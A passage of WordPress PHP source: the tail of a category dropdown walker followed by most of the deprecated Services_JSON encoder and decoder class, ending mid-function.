	public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {
		// Restores the more descriptive, specific name for use within this method.
		$category = $data_object;

		$pad = str_repeat( '&nbsp;', $depth * 3 );

		/** This filter is documented in wp-includes/category-template.php */
		$cat_name = apply_filters( 'list_cats', $category->name, $category );

		if ( isset( $args['value_field'] ) && isset( $category->{$args['value_field']} ) ) {
			$value_field = $args['value_field'];
		} else {
			$value_field = 'term_id';
		}

		$output .= "\t<option class=\"level-$depth\" value=\"" . esc_attr( $category->{$value_field} ) . '"';

		// Type-juggling causes false matches, so we force everything to a string.
		if ( (string) $category->{$value_field} === (string) $args['selected'] ) {
			$output .= ' selected="selected"';
		}
		$output .= '>';
		$output .= $pad . $cat_name;
		if ( $args['show_count'] ) {
			$output .= '&nbsp;&nbsp;(' . number_format_i18n( $category->count ) . ')';
		}
		$output .= "</option>\n";
	}
}
<?php
_deprecated_file( basename( __FILE__ ), '5.3.0', '', 'The PHP native JSON extension is now a requirement.' );

if ( ! class_exists( 'Services_JSON' ) ) :
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
/**
 * Converts to and from JSON format.
 *
 * JSON (JavaScript Object Notation) is a lightweight data-interchange
 * format. It is easy for humans to read and write. It is easy for machines
 * to parse and generate. It is based on a subset of the JavaScript
 * Programming Language, Standard ECMA-262 3rd Edition - December 1999.
 * This feature can also be found in  Python. JSON is a text format that is
 * completely language independent but uses conventions that are familiar
 * to programmers of the C-family of languages, including C, C++, C#, Java,
 * JavaScript, Perl, TCL, and many others. These properties make JSON an
 * ideal data-interchange language.
 *
 * This package provides a simple encoder and decoder for JSON notation. It
 * is intended for use with client-side JavaScript applications that make
 * use of HTTPRequest to perform server communication functions - data can
 * be encoded into JSON notation for use in a client-side javaScript, or
 * decoded from incoming JavaScript requests. JSON format is native to
 * JavaScript, and can be directly eval()'ed with no further parsing
 * overhead
 *
 * All strings should be in ASCII or UTF-8 format!
 *
 * LICENSE: Redistribution and use in source and binary forms, with or
 * without modification, are permitted provided that the following
 * conditions are met: Redistributions of source code must retain the
 * above copyright notice, this list of conditions and the following
 * disclaimer. Redistributions in binary form must reproduce the above
 * copyright notice, this list of conditions and the following disclaimer
 * in the documentation and/or other materials provided with the
 * distribution.
 *
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
 * NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
 * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
 * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
 * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 *
 * @category
 * @package     Services_JSON
 * @author      Michal Migurski <mike-json@teczno.com>
 * @author      Matt Knapp <mdknapp[at]gmail[dot]com>
 * @author      Brett Stimmerman <brettstimmerman[at]gmail[dot]com>
 * @copyright   2005 Michal Migurski
 * @version     CVS: $Id: JSON.php 305040 2010-11-02 23:19:03Z alan_k $
 * @license     https://www.opensource.org/licenses/bsd-license.php
 * @link        https://pear.php.net/pepr/pepr-proposal-show.php?id=198
 */

/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
define('SERVICES_JSON_SLICE',   1);

/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
define('SERVICES_JSON_IN_STR',  2);

/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
define('SERVICES_JSON_IN_ARR',  3);

/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
define('SERVICES_JSON_IN_OBJ',  4);

/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
define('SERVICES_JSON_IN_CMT', 5);

/**
 * Behavior switch for Services_JSON::decode()
 */
define('SERVICES_JSON_LOOSE_TYPE', 16);

/**
 * Behavior switch for Services_JSON::decode()
 */
define('SERVICES_JSON_SUPPRESS_ERRORS', 32);

/**
 * Behavior switch for Services_JSON::decode()
 */
define('SERVICES_JSON_USE_TO_JSON', 64);

/**
 * Converts to and from JSON format.
 *
 * Brief example of use:
 *
 * <code>
 * // create a new instance of Services_JSON
 * $json = new Services_JSON();
 *
 * // convert a complex value to JSON notation, and send it to the browser
 * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4)));
 * $output = $json->encode($value);
 *
 * print($output);
 * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]]
 *
 * // accept incoming POST data, assumed to be in JSON notation
 * $input = file_get_contents('php://input', 1000000);
 * $value = $json->decode($input);
 * </code>
 */
class Services_JSON
{
   /**
    * Object behavior flags.
    *
    * @var int
    */
    public $use;

    // private - cache the mbstring lookup results..
    var $_mb_strlen = false;
    var $_mb_substr = false;
    var $_mb_convert_encoding = false;

   /**
    * constructs a new JSON instance
    *
    * @deprecated 5.3.0 Use the PHP native JSON extension instead.
    *
    * @param    int     $use    object behavior flags; combine with boolean-OR
    *
    *                           possible values:
    *                           - SERVICES_JSON_LOOSE_TYPE:  loose typing.
    *                                   "{...}" syntax creates associative arrays
    *                                   instead of objects in decode().
    *                           - SERVICES_JSON_SUPPRESS_ERRORS:  error suppression.
    *                                   Values which can't be encoded (e.g. resources)
    *                                   appear as NULL instead of throwing errors.
    *                                   By default, a deeply-nested resource will
    *                                   bubble up with an error, so all return values
    *                                   from encode() should be checked with isError()
    *                           - SERVICES_JSON_USE_TO_JSON:  call toJSON when serializing objects
    *                                   It serializes the return value from the toJSON call rather 
    *                                   than the object itself, toJSON can return associative arrays, 
    *                                   strings or numbers, if you return an object, make sure it does
    *                                   not have a toJSON method, otherwise an error will occur.
    */
    function __construct( $use = 0 )
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        $this->use = $use;
        $this->_mb_strlen            = function_exists('mb_strlen');
        $this->_mb_convert_encoding  = function_exists('mb_convert_encoding');
        $this->_mb_substr            = function_exists('mb_substr');
    }

    /**
     * PHP4 constructor.
     *
     * @deprecated 5.3.0 Use __construct() instead.
     *
     * @see Services_JSON::__construct()
     */
    public function Services_JSON( $use = 0 ) {
        _deprecated_constructor( 'Services_JSON', '5.3.0', get_class( $this ) );
        self::__construct( $use );
    }

   /**
    * convert a string from one UTF-16 char to one UTF-8 char
    *
    * Normally should be handled by mb_convert_encoding, but
    * provides a slower PHP-only method for installations
    * that lack the multibye string extension.
    *
    * @deprecated 5.3.0 Use the PHP native JSON extension instead.
    *
    * @param    string  $utf16  UTF-16 character
    * @return   string  UTF-8 character
    * @access   private
    */
    function utf162utf8($utf16)
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        // oh please oh please oh please oh please oh please
        if($this->_mb_convert_encoding) {
            return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
        }

        $bytes = (ord($utf16[0]) << 8) | ord($utf16[1]);

        switch(true) {
            case ((0x7F & $bytes) == $bytes):
                // this case should never be reached, because we are in ASCII range
                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                return chr(0x7F & $bytes);

            case (0x07FF & $bytes) == $bytes:
                // return a 2-byte UTF-8 character
                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                return chr(0xC0 | (($bytes >> 6) & 0x1F))
                     . chr(0x80 | ($bytes & 0x3F));

            case (0xFFFF & $bytes) == $bytes:
                // return a 3-byte UTF-8 character
                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                return chr(0xE0 | (($bytes >> 12) & 0x0F))
                     . chr(0x80 | (($bytes >> 6) & 0x3F))
                     . chr(0x80 | ($bytes & 0x3F));
        }

        // ignoring UTF-32 for now, sorry
        return '';
    }

   /**
    * convert a string from one UTF-8 char to one UTF-16 char
    *
    * Normally should be handled by mb_convert_encoding, but
    * provides a slower PHP-only method for installations
    * that lack the multibyte string extension.
    *
    * @deprecated 5.3.0 Use the PHP native JSON extension instead.
    *
    * @param    string  $utf8   UTF-8 character
    * @return   string  UTF-16 character
    * @access   private
    */
    function utf82utf16($utf8)
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        // oh please oh please oh please oh please oh please
        if($this->_mb_convert_encoding) {
            return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
        }

        switch($this->strlen8($utf8)) {
            case 1:
                // this case should never be reached, because we are in ASCII range
                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                return $utf8;

            case 2:
                // return a UTF-16 character from a 2-byte UTF-8 char
                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                return chr(0x07 & (ord($utf8[0]) >> 2))
                     . chr((0xC0 & (ord($utf8[0]) << 6))
                         | (0x3F & ord($utf8[1])));

            case 3:
                // return a UTF-16 character from a 3-byte UTF-8 char
                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                return chr((0xF0 & (ord($utf8[0]) << 4))
                         | (0x0F & (ord($utf8[1]) >> 2)))
                     . chr((0xC0 & (ord($utf8[1]) << 6))
                         | (0x7F & ord($utf8[2])));
        }

        // ignoring UTF-32 for now, sorry
        return '';
    }

   /**
    * encodes an arbitrary variable into JSON format (and sends JSON Header)
    *
    * @deprecated 5.3.0 Use the PHP native JSON extension instead.
    *
    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
    *                           if var is a string, note that encode() always expects it
    *                           to be in ASCII or UTF-8 format!
    *
    * @return   mixed   JSON string representation of input var or an error if a problem occurs
    * @access   public
    */
    function encode($var)
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        header('Content-Type: application/json');
        return $this->encodeUnsafe($var);
    }
    /**
    * encodes an arbitrary variable into JSON format without JSON Header - warning - may allow XSS!!!!)
    *
    * @deprecated 5.3.0 Use the PHP native JSON extension instead.
    *
    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
    *                           if var is a string, note that encode() always expects it
    *                           to be in ASCII or UTF-8 format!
    *
    * @return   mixed   JSON string representation of input var or an error if a problem occurs
    * @access   public
    */
    function encodeUnsafe($var)
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        // see bug #16908 - regarding numeric locale printing
        $lc = setlocale(LC_NUMERIC, 0);
        setlocale(LC_NUMERIC, 'C');
        $ret = $this->_encode($var);
        setlocale(LC_NUMERIC, $lc);
        return $ret;
        
    }
    /**
    * PRIVATE CODE that does the work of encodes an arbitrary variable into JSON format 
    *
    * @deprecated 5.3.0 Use the PHP native JSON extension instead.
    *
    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
    *                           if var is a string, note that encode() always expects it
    *                           to be in ASCII or UTF-8 format!
    *
    * @return   mixed   JSON string representation of input var or an error if a problem occurs
    * @access   public
    */
    function _encode($var) 
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        switch (gettype($var)) {
            case 'boolean':
                return $var ? 'true' : 'false';

            case 'NULL':
                return 'null';

            case 'integer':
                return (int) $var;

            case 'double':
            case 'float':
                return  (float) $var;

            case 'string':
                // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
                $ascii = '';
                $strlen_var = $this->strlen8($var);

               /*
                * Iterate over every character in the string,
                * escaping with a slash or encoding to UTF-8 where necessary
                */
                for ($c = 0; $c < $strlen_var; ++$c) {

                    $ord_var_c = ord($var[$c]);

                    switch (true) {
                        case $ord_var_c == 0x08:
                            $ascii .= '\b';
                            break;
                        case $ord_var_c == 0x09:
                            $ascii .= '\t';
                            break;
                        case $ord_var_c == 0x0A:
                            $ascii .= '\n';
                            break;
                        case $ord_var_c == 0x0C:
                            $ascii .= '\f';
                            break;
                        case $ord_var_c == 0x0D:
                            $ascii .= '\r';
                            break;

                        case $ord_var_c == 0x22:
                        case $ord_var_c == 0x2F:
                        case $ord_var_c == 0x5C:
                            // double quote, slash, slosh
                            $ascii .= '\\'.$var[$c];
                            break;

                        case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
                            // characters U-00000000 - U-0000007F (same as ASCII)
                            $ascii .= $var[$c];
                            break;

                        case (($ord_var_c & 0xE0) == 0xC0):
                            // characters U-00000080 - U-000007FF, mask 110XXXXX
                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                            if ($c+1 >= $strlen_var) {
                                $c += 1;
                                $ascii .= '?';
                                break;
                            }
                            
                            $char = pack('C*', $ord_var_c, ord($var[$c + 1]));
                            $c += 1;
                            $utf16 = $this->utf82utf16($char);
                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
                            break;

                        case (($ord_var_c & 0xF0) == 0xE0):
                            if ($c+2 >= $strlen_var) {
                                $c += 2;
                                $ascii .= '?';
                                break;
                            }
                            // characters U-00000800 - U-0000FFFF, mask 1110XXXX
                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                            $char = pack('C*', $ord_var_c,
                                         @ord($var[$c + 1]),
                                         @ord($var[$c + 2]));
                            $c += 2;
                            $utf16 = $this->utf82utf16($char);
                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
                            break;

                        case (($ord_var_c & 0xF8) == 0xF0):
                            if ($c+3 >= $strlen_var) {
                                $c += 3;
                                $ascii .= '?';
                                break;
                            }
                            // characters U-00010000 - U-001FFFFF, mask 11110XXX
                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                            $char = pack('C*', $ord_var_c,
                                         ord($var[$c + 1]),
                                         ord($var[$c + 2]),
                                         ord($var[$c + 3]));
                            $c += 3;
                            $utf16 = $this->utf82utf16($char);
                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
                            break;

                        case (($ord_var_c & 0xFC) == 0xF8):
                            // characters U-00200000 - U-03FFFFFF, mask 111110XX
                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                            if ($c+4 >= $strlen_var) {
                                $c += 4;
                                $ascii .= '?';
                                break;
                            }
                            $char = pack('C*', $ord_var_c,
                                         ord($var[$c + 1]),
                                         ord($var[$c + 2]),
                                         ord($var[$c + 3]),
                                         ord($var[$c + 4]));
                            $c += 4;
                            $utf16 = $this->utf82utf16($char);
                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
                            break;

                        case (($ord_var_c & 0xFE) == 0xFC):
                        if ($c+5 >= $strlen_var) {
                                $c += 5;
                                $ascii .= '?';
                                break;
                            }
                            // characters U-04000000 - U-7FFFFFFF, mask 1111110X
                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                            $char = pack('C*', $ord_var_c,
                                         ord($var[$c + 1]),
                                         ord($var[$c + 2]),
                                         ord($var[$c + 3]),
                                         ord($var[$c + 4]),
                                         ord($var[$c + 5]));
                            $c += 5;
                            $utf16 = $this->utf82utf16($char);
                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
                            break;
                    }
                }
                return  '"'.$ascii.'"';

            case 'array':
               /*
                * As per JSON spec if any array key is not an integer
                * we must treat the whole array as an object. We
                * also try to catch a sparsely populated associative
                * array with numeric keys here because some JS engines
                * will create an array with empty indexes up to
                * max_index which can cause memory issues and because
                * the keys, which may be relevant, will be remapped
                * otherwise.
                *
                * As per the ECMA and JSON specification an object may
                * have any string as a property. Unfortunately due to
                * a hole in the ECMA specification if the key is a
                * ECMA reserved word or starts with a digit the
                * parameter is only accessible using ECMAScript's
                * bracket notation.
                */

                // treat as a JSON object
                if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {
                    $properties = array_map(array($this, 'name_value'),
                                            array_keys($var),
                                            array_values($var));

                    foreach($properties as $property) {
                        if(Services_JSON::isError($property)) {
                            return $property;
                        }
                    }

                    return '{' . join(',', $properties) . '}';
                }

                // treat it like a regular array
                $elements = array_map(array($this, '_encode'), $var);

                foreach($elements as $element) {
                    if(Services_JSON::isError($element)) {
                        return $element;
                    }
                }

                return '[' . join(',', $elements) . ']';

            case 'object':
            
                // support toJSON methods.
                if (($this->use & SERVICES_JSON_USE_TO_JSON) && method_exists($var, 'toJSON')) {
                    // this may end up allowing unlimited recursion
                    // so we check the return value to make sure it's not got the same method.
                    $recode = $var->toJSON();
                    
                    if (method_exists($recode, 'toJSON')) {
                        
                        return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
                        ? 'null'
                        : new Services_JSON_Error(get_class($var).
                            " toJSON returned an object with a toJSON method.");
                            
                    }
                    
                    return $this->_encode( $recode );
                } 
                
                $vars = get_object_vars($var);
                
                $properties = array_map(array($this, 'name_value'),
                                        array_keys($vars),
                                        array_values($vars));

                foreach($properties as $property) {
                    if(Services_JSON::isError($property)) {
                        return $property;
                    }
                }

                return '{' . join(',', $properties) . '}';

            default:
                return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
                    ? 'null'
                    : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string");
        }
    }

   /**
    * array-walking function for use in generating JSON-formatted name-value pairs
    *
    * @deprecated 5.3.0 Use the PHP native JSON extension instead.
    *
    * @param    string  $name   name of key to use
    * @param    mixed   $value  reference to an array element to be encoded
    *
    * @return   string  JSON-formatted name-value pair, like '"name":value'
    * @access   private
    */
    function name_value($name, $value)
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        $encoded_value = $this->_encode($value);

        if(Services_JSON::isError($encoded_value)) {
            return $encoded_value;
        }

        return $this->_encode((string) $name) . ':' . $encoded_value;
    }

   /**
    * reduce a string by removing leading and trailing comments and whitespace
    *
    * @deprecated 5.3.0 Use the PHP native JSON extension instead.
    *
    * @param    $str    string      string value to strip of comments and whitespace
    *
    * @return   string  string value stripped of comments and whitespace
    * @access   private
    */
    function reduce_string($str)
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        $str = preg_replace(array(

                // eliminate single line comments in '// ...' form
                '#^\s*//(.+)$#m',

                // eliminate multi-line comments in '/* ... */' form, at start of string
                '#^\s*/\*(.+)\*/#Us',

                // eliminate multi-line comments in '/* ... */' form, at end of string
                '#/\*(.+)\*/\s*$#Us'

            ), '', $str);

        // eliminate extraneous space
        return trim($str);
    }

   /**
    * decodes a JSON string into appropriate variable
    *
    * @deprecated 5.3.0 Use the PHP native JSON extension instead.
    *
    * @param    string  $str    JSON-formatted string
    *
    * @return   mixed   number, boolean, string, array, or object
    *                   corresponding to given JSON input string.
    *                   See argument 1 to Services_JSON() above for object-output behavior.
    *                   Note that decode() always returns strings
    *                   in ASCII or UTF-8 format!
    * @access   public
    */
    function decode($str)
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        $str = $this->reduce_string($str);

        switch (strtolower($str)) {
            case 'true':
                return true;

            case 'false':
                return false;

            case 'null':
                return null;

            default:
                $m = array();

                if (is_numeric($str)) {
                    // Lookie-loo, it's a number

                    // This would work on its own, but I'm trying to be
                    // good about returning integers where appropriate:
                    // return (float)$str;

                    // Return float or int, as appropriate
                    return ((float)$str == (integer)$str)
                        ? (integer)$str
                        : (float)$str;

                } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) {
                    // STRINGS RETURNED IN UTF-8 FORMAT
                    $delim = $this->substr8($str, 0, 1);
                    $chrs = $this->substr8($str, 1, -1);
                    $utf8 = '';
                    $strlen_chrs = $this->strlen8($chrs);

                    for ($c = 0; $c < $strlen_chrs; ++$c) {

                        $substr_chrs_c_2 = $this->substr8($chrs, $c, 2);
                        $ord_chrs_c = ord($chrs[$c]);

                        switch (true) {
                            case $substr_chrs_c_2 == '\b':
                                $utf8 .= chr(0x08);
                                ++$c;
                                break;
                            case $substr_chrs_c_2 == '\t':
                                $utf8 .= chr(0x09);
                                ++$c;
                                break;
                            case $substr_chrs_c_2 == '\n':
                                $utf8 .= chr(0x0A);
                                ++$c;
                                break;
                            case $substr_chrs_c_2 == '\f':
                                $utf8 .= chr(0x0C);
                                ++$c;
                                break;
                            case $substr_chrs_c_2 == '\r':
                                $utf8 .= chr(0x0D);
                                ++$c;
                                break;

                            case $substr_chrs_c_2 == '\\"':
                            case $substr_chrs_c_2 == '\\\'':
                            case $substr_chrs_c_2 == '\\\\':
                            case $substr_chrs_c_2 == '\\/':
                                if (($delim == '"' && $substr_chrs_c_2 != '\\\'') ||
                                   ($delim == "'" && $substr_chrs_c_2 != '\\"')) {
                                    $utf8 .= $chrs[++$c];
                                }
                                break;

                            case preg_match('/\\\u[0-9A-F]{4}/i', $this->substr8($chrs, $c, 6)):
                                // single, escaped unicode character
                                $utf16 = chr(hexdec($this->substr8($chrs, ($c + 2), 2)))
                                       . chr(hexdec($this->substr8($chrs, ($c + 4), 2)));
                                $utf8 .= $this->utf162utf8($utf16);
                                $c += 5;
                                break;

                            case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F):
                                $utf8 .= $chrs[$c];
                                break;

                            case ($ord_chrs_c & 0xE0) == 0xC0:
                                // characters U-00000080 - U-000007FF, mask 110XXXXX
                                //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                                $utf8 .= $this->substr8($chrs, $c, 2);
                                ++$c;
                                break;

                            case ($ord_chrs_c & 0xF0) == 0xE0:
                                // characters U-00000800 - U-0000FFFF, mask 1110XXXX
                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                                $utf8 .= $this->substr8($chrs, $c, 3);
                                $c += 2;
                                break;

                            case ($ord_chrs_c & 0xF8) == 0xF0:
                                // characters U-00010000 - U-001FFFFF, mask 11110XXX
                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                                $utf8 .= $this->substr8($chrs, $c, 4);
                                $c += 3;
                                break;

                            case ($ord_chrs_c & 0xFC) == 0xF8:
                                // characters U-00200000 - U-03FFFFFF, mask 111110XX
                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                                $utf8 .= $this->substr8($chrs, $c, 5);
                                $c += 4;
                                break;

                            case ($ord_chrs_c & 0xFE) == 0xFC:
                                // characters U-04000000 - U-7FFFFFFF, mask 1111110X
                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
                                $utf8 .= $this->substr8($chrs, $c, 6);
                                $c += 5;
                                break;

                        }

                    }

                    return $utf8;

                } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) {
                    // array, or object notation

                    if ($str[0] == '[') {
                        $stk = array(SERVICES_JSON_IN_ARR);
                        $arr = array();
                    } else {
                        if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
                            $stk = array(SERVICES_JSON_IN_OBJ);
                            $obj = array();
                        } else {
                            $stk = array(SERVICES_JSON_IN_OBJ);
                            $obj = new stdClass();
                        }
                    }

                    array_push($stk, array('what'  => SERVICES_JSON_SLICE,
                                           'where' => 0,
                                           'delim' => false));

                    $chrs = $this->substr8($str, 1, -1);
                    $chrs = $this->reduce_string($chrs);

                    if ($chrs == '') {
                        if (reset($stk) == SERVICES_JSON_IN_ARR) {
                            return $arr;

                        } else {
                            return $obj;

                        }
                    }

                    //print("\nparsing {$chrs}\n");

                    $strlen_chrs = $this->strlen8($chrs);

                    for ($c = 0; $c <= $strlen_chrs; ++$c) {

                        $top = end($stk);
                        $substr_chrs_c_2 = $this->substr8($chrs, $c, 2);

                        if (($c == $strlen_chrs) || (($chrs[$c] == ',') && ($top['what'] == SERVICES_JSON_SLICE))) {
                            // found a comma that is not inside a string, array, etc.,
                            // OR we've reached the end of the character list
                            $slice = $this->substr8($chrs, $top['where'], ($c - $top['where']));
                            array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false));
                            //print("Found split at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");

                            if (reset($stk) == SERVICES_JSON_IN_ARR) {
                                // we are in an array, so just push an element onto the stack
                                array_push($arr, $this->decode($slice));

                            } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
                                // we are in an object, so figure
                                // out the property name and set an
                                // element in an associative array,
                                // for now
                                $parts = array();
                                
                               if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:/Uis', $slice, $parts)) {
                                    // "name":value pair
                                    $key = $this->decode($parts[1]);
                                    $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B"));
                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
                                        $obj[$key] = $val;
                                    } else {
                                        $obj->$key = $val;
                                    }
                                } elseif (preg_match('/^\s*(\w+)\s*:/Uis', $slice, $parts)) {
                                    // name:value pair, where name is unquoted
                                    $key = $parts[1];
                                    $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B"));

                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
                                        $obj[$key] = $val;
                                    } else {
                                        $obj->$key = $val;
                                    }
                                }

                            }

                        } elseif ((($chrs[$c] == '"') || ($chrs[$c] == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) {
                            // found a quote, and we are not inside a string
                            array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs[$c]));
                            //print("Found start of string at {$c}\n");

                        } elseif (($chrs[$c] == $top['delim']) &&
                                 ($top['what'] == SERVICES_JSON_IN_STR) &&
                                 (($this->strlen8($this->substr8($chrs, 0, $c)) - $this->strlen8(rtrim($this->substr8($chrs, 0, $c), '\\'))) % 2 != 1)) {
                            // found a quote, we're in a string, and it's not escaped
                            // we know that it's not escaped because there is _not_ an
                            // odd number of backslashes at the end of the string so far
                            array_pop($stk);
                            //print("Found end of string at {$c}: ".$this->substr8($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n");

                        } elseif (($chrs[$c] == '[') &&
                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
                            // found a left-bracket, and we are in an array, object, or slice
                            array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
                            //print("Found start of array at {$c}\n");

                        } elseif (($chrs[$c] == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) {
                            // found a right-bracket, and we're in an array
                            array_pop($stk);
                            //print("Found end of array at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");

                        } elseif (($chrs[$c] == '{') &&
                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
                            // found a left-brace, and we are in an array, object, or slice
                            array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
                            //print("Found start of object at {$c}\n");

                        } elseif (($chrs[$c] == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) {
                            // found a right-brace, and we're in an object
                            array_pop($stk);
                            //print("Found end of object at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");

                        } elseif (($substr_chrs_c_2 == '/*') &&
                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
                            // found a comment start, and we are in an array, object, or slice
                            array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
                            $c++;
                            //print("Found start of comment at {$c}\n");

                        } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) {
                            // found a comment end, and we're in one now
                            array_pop($stk);
                            $c++;

                            for ($i = $top['where']; $i <= $c; ++$i)
                                $chrs = substr_replace($chrs, ' ', $i, 1);

                            //print("Found end of comment at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n");

                        }

                    }

                    if (reset($stk) == SERVICES_JSON_IN_ARR) {
                        return $arr;

                    } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
                        return $obj;

                    }

                }
        }
    }

    /**
     * @deprecated 5.3.0 Use the PHP native JSON extension instead.
     *
     * @todo Ultimately, this should just call PEAR::isError()
     */
    function isError($data, $code = null)
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        if (class_exists('pear')) {
            return PEAR::isError($data, $code);
        } elseif (is_object($data) && ($data instanceof services_json_error ||
                                 is_subclass_of($data, 'services_json_error'))) {
            return true;
        }

        return false;
    }
    
    /**
     * Calculates length of string in bytes
     *
     * @deprecated 5.3.0 Use the PHP native JSON extension instead.
     *
     * @param string
     * @return integer length
     */
    function strlen8( $str ) 
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        if ( $this->_mb_strlen ) {
            return mb_strlen( $str, "8bit" );
        }
        return strlen( $str );
    }
    
    /**
     * Returns part of a string, interpreting $start and $length as number of bytes.
     *
     * @deprecated 5.3.0 Use the PHP native JSON extension instead.
     *
     * @param string
     * @param integer start
     * @param integer length
     * @return integer length
     */
    function substr8( $string, $start, $length=false ) 
    {
        _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' );

        if ( $length === false ) {
